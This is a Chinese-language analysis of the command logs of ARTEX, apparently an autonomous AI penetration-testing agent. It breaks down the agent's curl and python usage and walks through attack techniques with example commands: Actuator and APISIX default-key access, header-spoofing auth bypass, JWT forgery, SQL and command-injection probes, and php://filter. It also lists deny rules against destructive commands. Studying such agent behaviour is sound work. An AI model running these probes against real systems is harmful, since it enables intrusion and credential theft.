ARTEX 攻击工具与手法拆解
先说结论
这套系统几乎不用扫描器
| 工具 | 真实带参执行次数 | 占比 |
|---|---|---|
| curl | 4,100 | 55.3% |
| python3(内联脚本) | 993(heredoc 形态) | 13.4% |
| nmap | 43 | 0.6% |
| node | 13 | 0.2% |
| host | 8 | 0.1% |
| nc | 5 | 0.07% |
| dig | 3 | 0.04% |
| ping | 3 | 0.04% |
| traceroute | 2 | 0.03% |
| openssl | 1 | 0.01% |
0 次执行(装了或没装,但从未真正用起来):nuclei、sqlmap、ffuf、gobuster、dirb、nikto、whatweb、masscan、subfinder、httpx、katana、hydra、arjun、wafw00f、playwright-cli。
一句话:ARTEX 的攻击面 = curl 手搓 HTTP + python 内联脚本 + 一把 nmap。它不是「工具链编排器」,而是「一个会写 curl 和 python 的攻击者」。
1. 静态层:镜像里到底装了什么
Dockerfile 第三阶段(运行镜像)只装这些:
apt 包(12 个)
ca-certificates ripgrep curl wget vim git jq unzipdnsutils iputils-ping netcat-openbsd inetutils-telnet whois nmap拆开看用途:
| 包 | 提供什么 | 在 ARTEX 里的角色 |
|---|---|---|
curl | HTTP 客户端 | 绝对主力,55% 的命令靠它 |
ripgrep | rg 快速搜索 | 大文件检索(比 grep 快,但实测仍主要用 grep) |
jq | JSON 处理 | 解析 API 响应 |
nmap | 端口/服务扫描 | 唯一的专业扫描器,43 次 |
dnsutils | dig/nslookup | DNS 枚举 |
whois | 域名注册信息 | 资产归属判断 |
netcat-openbsd | nc | 端口连通性、banner 抓取 |
inetutils-telnet | telnet | 老服务探测 |
iputils-ping | ping | 存活性 |
vim / git / unzip | 编辑器/版本/解压 | 写脚本、拉工具 |
Node 生态
npm install -g @playwright/mcp @playwright/cli playwrightplaywright install --with-deps chromium预装完整的 Playwright + Chromium,还配了国内镜像源(PLAYWRIGHT_DOWNLOAD_HOST=cdn.npmmirror.com)避免运行时下载。但实测 playwright-cli 调用 0 次 —— 这套浏览器能力在这批任务里完全没用起来。
刻意没装的
镜像里没有 nuclei / sqlmap / ffuf / gobuster / nikto / whatweb / masscan / subfinder / httpx。这不是疏忽 ——
- 这些工具要么体积大,要么行为特征明显(容易被 WAF/IDS 抓)
- 官方镜像保持”轻”,把工具选择权留给任务本身
- 用户可以往
skills/挂自己的脚本,或者让 agent 现场装
结果:agent 只能靠 curl 手搓。这既是限制,也是这套系统实际的行为特征 —— 它不制造大量扫描噪声,而是针对性地打 HTTP 端点。
2. 主力工具详解
2.1 curl(4,100 次,占 55%)
这是 ARTEX 真正的「攻击框架」。从命令样本里能提炼出 12 种固定用法:
(1) 只判断状态码和大小(最常用)
curl -sk -m 10 -o /dev/null -w "login %{http_code} %{time_total}s\n" "http://<target>/path"-s静默、-k忽略证书、-m超时、-o /dev/null丢 body%{http_code}出现 2,752 次,-w格式化出现 2,705 次
为什么这么写:agent 只关心「这个端点存不存在、是否 200」,不要 body。把 body 丢进上下文会瞬间吃满 token。这是被 compaction 逼出来的最佳实践。
(2) 探测允许的 HTTP 方法
for m in GET POST PUT DELETE OPTIONS TRACE PATCH; do printf "%-8s " "$m" curl -sk -o /dev/null -X "$m" -w "%{http_code}\n" --max-time 10 "$U"done-X OPTIONS 出现 227 次 —— 专门探 Allow 头,找未授权的写方法。
(3) 抓全响应头做指纹
curl -s -D - -o /dev/null --max-time 18 "$@" 2>/dev/null \ | awk 'NR==1{c=$2" "$3} /^[Ll]ocation:/{loc=$2} /^Allow:/{al=$0} END{...}'-D - 把响应头打到 stdout,然后用 awk 提取 Location、Allow、X-Application-Context(Spring Boot 指纹)、Server。
(4) 带 Cookie 会话保持
curl -sk -m 10 -c "cj_$id.txt" "$B/login" -o /dev/nullcurl -sk -m 10 -b "cj_$id.txt" -X POST "$B/api" ...-c 写 cookie jar、-b 读。用于「先登录再打接口」的两步流程。
(5) 伪造来源 IP(认证绕过)
for h in "X-Forwarded-For: <ip>" "X-Real-IP: <ip>" "X-Forwarded-Host: localhost"; do curl -sk -H "$h" ...done频次:X-Forwarded-For 196 次、X-Real-IP 37 次、X-Forwarded-Host 35 次。
攻击原理:内网系统常靠这些头判断「请求来自内网」,直接信任代理头。伪造后绕过 IP 白名单。ARTEX 会一次试三种头组合。
(6) 文件上传(multipart)
printf 'harmless-poc-105' > poc.txtcurl -sk -m 15 -X POST "$U/portal-api/v1/service/upload" -F "file=@poc.txt"-F 出现 213 次。注意内容永远是 harmless-poc-* 这种无害标记 —— 这是有意的:验证上传通道可用即可,不真的传 webshell。
(7) JSON 请求体
curl -sk -X POST -H "Content-Type: application/json" \ -d '{"username":"admin","password":"admin"}' "$U/api/login"-X POST 总计 681 次,是除了 GET 之外最主要的写操作。
(8) 走 HTTPS SNI 多域名(同一 IP 多站点)
R="--resolve ehr.<target>:443:<ip>"curl $R -sk "https://ehr.<target>/" ...--resolve 强制把域名指向指定 IP,绕过 DNS。用于「已知 IP 段,批量验证虚拟主机」。
(9) 带 Referer/UA 绕 CSRF 或 WAF
curl -sk -H "User-Agent: Mozilla/5.0 ..." -H "Referer: $U/" ...-A / User-Agent 出现 597 次 —— 默认 UA 是 curl/x.x,太容易被 WAF 拦。
(10) 限速与并发控制
curl -sk -m 12 --limit-rate 50k ...配合 for 循环,避免过快触发限流。
(11) 只看跳转链
curl -sIL -o /dev/null -w "%{url_effective} %{http_code}\n" "$U"-L 出现 301 次。跟踪 302 到登录页/错误页,判断是否需要认证。
(12) 直接读原始响应体(少量)
只在「需要看返回内容才能判断」时才把 body 读进上下文,且通常配合 head -c 1500 截断。
2.2 nmap(43 次)
nmap 只占 0.6%,但用法有清晰的三段式演进,能看出 agent 的策略变化:
第一段:快速摸底(低速率,先看有没有活)
nmap -Pn -T4 --top-ports 100 -sV <ip> <ip> -oN nmap_top100.txtnmap -Pn -T3 --top-ports 200 --open -sV --version-light <ip> <ip> -oN nmap_200.txt-Pn 跳过 ping(目标常禁 ICMP)、-T4 加速、--top-ports 只扫常见端口。
第二段:定向端口(按指纹猜业务)
nmap -Pn -T4 -p 80,443,8080,8443,8000,8888,8081,9090,22,3389,1521,3306 <ip> -oN nmap_webports.txtnmap -Pn -n --open -T4 -p 9080,9180,2379,2380,8500,8848,9090,9100,9443,443,80 <ip>注意这批端口很有针对性:
2379/2380→ etcd(K8s 未授权)8500→ Consul8848→ Nacos(未授权配置泄露)9080/9180→ 常见 Java 网关9090→ Prometheus / Cockpit9100→ Node Exporter
这说明 agent 不是盲扫,是在按「云原生组件」的特征端口找未授权访问。
第三段:全端口 + NSE 脚本
nmap -Pn -sS -T4 --min-rate 1500 --max-retries 1 --host-timeout 90s -p 1-10000 <ip> -oN nmap_1-10000.txtnmap -Pn -p- --open -T4 --min-rate 2000 <ip>nmap -Pn -p 80 --script http-headers,http-title,http-methods,http-enum <ip> -oN nmap_scripts.txtNSE 脚本用了 4 个:http-headers(指纹)、http-title(标题)、http-methods(允许方法)、http-enum(常见路径)。
限速意识
后期命令明显降速:
nmap -Pn -T2 --max-rate 200 --max-retries 1 --host-timeout 300s -p "$(cat ports.txt)" -iL ips.txtnmap -sS -Pn -n -T2 --max-rate 40 --version-intensity 5 -p 8080 <ip>-T2 + --max-rate 40 —— 显然是被目标 WAF 拦过之后主动降速。这是 agent 从失败里学到的调整(记录在 fact 节点里,下轮 planner 会读到)。
2.3 python3(993 次内联 heredoc 脚本)
这是 ARTEX 第二个真正的「攻击工具」。993 次用 python3 - <<'EOF' 形态现场写脚本执行,另有 1,688 次 heredoc 建文件。
为什么不用现成工具而写脚本:目标有定制加密、定制协议、定制签名,现成工具打不了。
按 import 分类(同一命令可能命中多类):
| 用途 | 次数 | 典型场景 |
|---|---|---|
re 正则提取 | 692 | 从 HTML/JS 里抠 token、路径、接口 |
requests / urllib 发请求 | 336 | 需要 cookie 会话、重试、多步流程 |
json 处理 | 277 | 解析 API 响应 |
Crypto 加解密 | 95 | 目标用了定制加密 |
DES / AES | 83 | 硬编码密钥的对称加密 |
JWT 处理 | 78 | 伪造/篡改 token |
gql / GraphQL | 122 | GraphQL introspection 查询 |
socket 原始连接 | 52 | 非 HTTP 协议探测 |
subprocess 调外部 | 65 | 组合 curl/nmap |
sqlite3 | 33 | 读本地缓存/靶场库 |
最值得注意的一类:Crypto / DES / AES(503 次相关)
这是 ARTEX 与普通扫描器最大的差异点。样本形态:
from Crypto.Cipher import DESkey = b'...' # 从 JS 里提取的硬编码密钥def pad(s): ...def encrypt(pt): return base64.b64encode(DES.new(key, DES.MODE_ECB).encrypt(pad(pt)))# 然后把加密后的参数塞进请求攻击逻辑:前端 JS 里常有硬编码的对称加密密钥(DES/AES),用来”保护”请求参数。agent 会:
- 拉前端 bundle
- 用正则找
DES/AES/key/iv关键字 - 抠出密钥和加密逻辑
- 用 Python 复刻加密
- 构造合法加密参数去打后端
这解释了为什么 re 出现 692 次 —— 大量时间花在「从 JS 里抠东西」。
GraphQL(292 次)
from gql import gql, Clientq = gql('{ __schema { types { name fields { name } } } }')走 introspection 拿全量 schema,找未授权的 mutation。gql 库 import 34 次。
JWT(303 次)
典型手法:
- 解码 payload 看权限字段
- 尝试
alg: none(算法混淆) - 尝试弱密钥爆破(HS256 用常见字典)
- 篡改
role/uid后重签
2.4 文本处理层(grep 2,273 / sed 445 / awk 100 / sort 919 / uniq 104 / jq 14)
grep 占 30.7%,是除 curl 外最高频的命令。这不是”攻击工具”,但它是把攻击结果压缩进上下文的唯一手段。
典型组合:
curl -s "$U/api/list" | jq -r '.[].id' | sort -u | wc -lcurl -sk "$U" | grep -oE '"/api/[^"]+"' | sort -u > api.txtgrep -rhoaE '.{0,120}("/api[^"]+").{0,200}' OUTDIR/js/*.js | head -20为什么这么重要:一个前端 bundle 可能 5MB,全读进 context 直接爆。用 grep 抽出 20 行 API 路径,只占几百 token。
sort 出现 919 次基本都是 | sort -u 去重 —— 因为 agent 反复扫同一目标,结果大量重复。
2.5 DNS 与网络层(次要)
dig +short A <domain> # 3 次host -t A <domain> # 8 次nslookup <domain> # 35 次(多为解析判断)nc -zv <ip> 443 # 5 次openssl s_client -connect <ip>:443 # 1 次ping -c 3 <ip> # 3 次traceroute <ip> # 2 次频次极低,因为资产解析实际由 enrich 包(dnsx)异步完成,不走 agent 的 Bash。
openssl s_client 只用了 1 次,是抓证书 SAN 找关联域名。
3. 攻击手法详解(按漏洞类型)
3.1 Spring Boot Actuator 未授权(227 次命中 actuator)
最常见的打点。探测清单:
/actuator/actuator/env/actuator/heapdump/actuator/mappings/actuator/beans/actuator/configprops/actuator/jolokia/actuator/env 泄露数据库密码、Redis 密码、AK/SK;/actuator/heapdump 下载堆转储后能捞出内存里的凭据;/actuator/jolokia 可导致 RCE(MBean 操作)。
配合 X-Application-Context 响应头(第 3 种 curl 用法)确认是 Spring Boot。
3.2 APISIX 网关未授权(61 次)
curl -sk "http://<target>/apisix/admin/routes" -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"APISIX 默认 admin key 是公开的 edd1c9f034335f136f87ad84b625c8f1。拿到 /apisix/admin/routes 可读全部路由配置,甚至 PUT 一条恶意路由做 SSRF/转发劫持。
3.3 文件上传 / OSS 未授权(147 次)
curl -skS -X POST "$U/api/blade-resource/oss/endpoint/put-file" \ -F "file=@/tmp/x.txt" -w "\n[%{http_code}]\n"BladeX 框架的 OSS 上传接口是经典未授权点。ARTEX 会一次试多个变体:
put-fileput-file-attachput-file-rename关键细节:内容永远是 test / harmless-poc-* —— 只验证通道开放,不投递恶意文件。这是刻意守住的边界(也对应 intercept 规则里对 webshell 关键字的监控)。
3.4 JWT 攻击(303 次)
三类手法:
- 算法混淆:把
alg改成none,去掉签名 - 弱密钥爆破:HS256 用
secret/123456/key等常见值离线爆破 - claims 篡改:解出 payload,把
role改成admin、uid改成 1,用泄露的密钥重签
getPublicKey 这类端点(RSA 公钥接口)是重点 —— 拿到公钥后可尝试 alg: HS256 混淆攻击(用公钥当 HMAC 密钥)。
3.5 认证绕过 / 头注入(268 次)
for h in "X-Forwarded-For: <ip>" "X-Real-IP: <ip>" "X-Forwarded-Host: localhost"; do curl -sk -H "$h" -o /dev/null -w "%{http_code}\n" "$U/admin"done三种头的攻击面各不相同:
X-Forwarded-For/X-Real-IP→ 绕过 IP 白名单(“内网才能访问”)X-Forwarded-Host→ 绕过基于 Host 的访问控制,也可能触发缓存投毒
3.6 SQL 注入探测(167 次)
ARTEX 不做自动注入(没装 sqlmap),只做手工探测:
# 布尔盲注特征curl -sk "$U/item?id=1' AND '1'='1" -o /tmp/a -w "%{size_download}"curl -sk "$U/item?id=1' AND '1'='2" -o /tmp/b -w "%{size_download}"# 对比两个响应大小核心是差分:同一参数注入真假条件,比较 size_download 差异。命中后才让 worker 深入。
时间盲注用 sleep(5) 看 %{time_total}。
3.7 命令注入探测(25 次)
for p in "%3Bid" "%7Cid" "%60id%60" "%24(id)"; do curl -sk "$U/ping?host=127.0.0.1$p" ...done;id、|id、`id`、$(id) 四种分隔符。回显里找 uid=。
3.8 路径/目录爆破(2,283 条循环命令)
ARTEX 不用 ffuf/gobuster,全部自己写 curl 循环:
cat > small.txt <<'EOF'/por/login_psw.csp/por/login_auth.csp/por/login_radius.csp/por/login_token.csp/por/login_sms.cspEOFwhile read p; do printf "%-40s " "$p" curl -sk -m 10 -o /dev/null -w "%{http_code} %{size_download}\n" "http://<target>$p"done < small.txt特点:
- 字典是自己按目标定制的小字典(5-20 条),不是通用大字典
- 字典来自对目标的理解(比如看到深信服 VPN,就试
/por/login_psw.csp) - 用
%{http_code}+%{size_download}双判据,避免 200 空页面误判
这比 ffuf 慢,但噪声小、针对性强。字典路径里出现 paths 428 次、dict 108 次、common 62 次 —— 说明 agent 会现场生成字典文件。
3.9 越权 / IDOR
用两个不同身份的 cookie jar,打同一个 API:
curl -b "cj_a.txt" "$U/api/user/1001" -o /tmp/acurl -b "cj_b.txt" "$U/api/user/1001" -o /tmp/bdiff /tmp/a /tmp/b3.10 php://filter(2 次)
仅 2 次,说明遇到 PHP 站点的比例不高:
curl -sk "$U/index.php?file=php://filter/convert.base64-encode/resource=config"4. 被拦截规则封住的工具
intercept_rules 里有 20 条 deny 规则,直接决定了「哪些工具用不了」。这解释了统计里的一个反常现象:
| 现象 | 原因 |
|---|---|
-X DELETE 只有 1 次 | 规则 curl ... -X DELETE 直接 deny |
-X PUT 只有 9 次 | 删除类路径 `/delete |
requests.delete(...) 0 次 | 规则覆盖 Python HTTP 客户端 DELETE |
DROP/TRUNCATE 0 次 | SQL 破坏性语句被拦 |
FLUSHALL 0 次 | Redis 清库被拦 |
这不是 agent「不想用」,是被拦之后改了策略。实测 intercept_pending 有 36 次 deny 记录,全部来自规则层。
副作用:agent 学不到「DELETE 会怎样」,因为它连试都试不了。这对安全是好事,对「完整评估目标」是缺口 —— 有些漏洞只能靠 DELETE 验证(比如越权删除),现在被彻底封死。
5. 工具栈形态说明了什么
5.1 这是「手搓型」而非「工具编排型」
对比典型自动化渗透平台(调用 nuclei 模板库 + ffuf 字典 + sqlmap):
| 维度 | ARTEX | 典型扫描平台 |
|---|---|---|
| 主力 | curl + python 内联脚本 | 现成工具 + 模板 |
| 噪声 | 低(自定小字典、限速) | 高(大字典、并发) |
| 覆盖面 | 窄但深(能打定制加密) | 宽但浅(只跑模板) |
| 可解释性 | 高(每条 curl 都能读) | 低(模板黑盒) |
| 速度 | 慢 | 快 |
优势:能处理「现成工具打不了」的场景 —— 定制 DES 加密参数、GraphQL、JWT 混淆。这靠的是 LLM 现场读 JS 并复刻加密逻辑的能力,扫描器做不到。
劣势:覆盖率低。没装 nuclei 意味着错过了几千个已知 CVE 模板;没装 ffuf 意味着目录爆破靠手写循环,慢且不全。
5.2 playwright 装了却没用
镜像花了大力气预装 Playwright + Chromium(还配了国内镜像源),但 playwright-cli 调用 0 次。
推测原因:
skills/playwright-cli/技能存在,但需要 agent 主动调用Skill工具加载- worker 的工具集里没有直接暴露 playwright,只能通过 Bash 调
playwright-cli - agent 更倾向用 curl(更轻、更快、无浏览器开销)
这是一个明显的资源浪费 —— SPA 站点、需要 JS 渲染才能看到的接口,用 playwright 效率远高于 curl 抓 bundle 再正则。
5.3 命令规模
| 指标 | 值 |
|---|---|
| 单条命令长度中位数 | 436 字符 |
| 均值 | 559 字符 |
| 最长 | 5,514 字符 |
| >1000 字符的命令 | 943 条 |
| >3000 字符的命令 | 17 条 |
中位数 436 字符意味着 agent 写的不是单行 curl,而是带变量、循环、错误处理的小脚本。这是「会写代码的攻击者」的行为特征,不是「调工具的脚本」。
总结
ARTEX 的攻击工具栈只有三样东西:
- curl(55%)—— 手搓 HTTP,自己控制每个头、每个参数
- python3 内联脚本(13%)—— 处理加密、GraphQL、JWT 这些 curl 打不了的
- nmap(0.6%)—— 只在开局摸底时用
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!